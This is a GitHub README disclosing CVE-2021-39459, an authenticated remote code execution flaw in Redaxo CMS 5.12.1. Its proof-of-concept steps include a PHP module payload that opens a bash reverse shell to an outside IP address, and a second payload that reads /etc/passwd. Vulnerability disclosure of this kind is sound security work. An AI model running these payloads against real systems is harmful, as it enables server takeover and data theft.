evildrummer added CVE-2021-39458 and CVE-2021-39459 ... on Jan 10 History

..

README.md	last year
getPasswd.png	last year

README.md

CVE-2021-39459

Authenticated Remote Code Execution

- Vendor: Yakamara Media
- Product: Redaxo CMS
- Version: 5.12.1

An authenticated admin user of the cms system can add a maliciuos module with unvalidated php code to trigger local code execution via the shell_exec function.

Steps for proof of concept:

- Add Module with the following php code in the output section for a reverse shell

```
<?php
shell_exec('bash -c "bash -i >& /dev/tcp/192.168.1.223/9001 0>&1"')
?>
```

or to get direct output of the command.

```
<?php
$passwd = shell_exec('cat /etc/passwd');
echo $passwd;
?>
```

- Create or edit an existing articel in the section "structure"
- activate the payload by saving the slice

YouTube Video: https://youtu.be/88ZMGCRHtrM

direct command output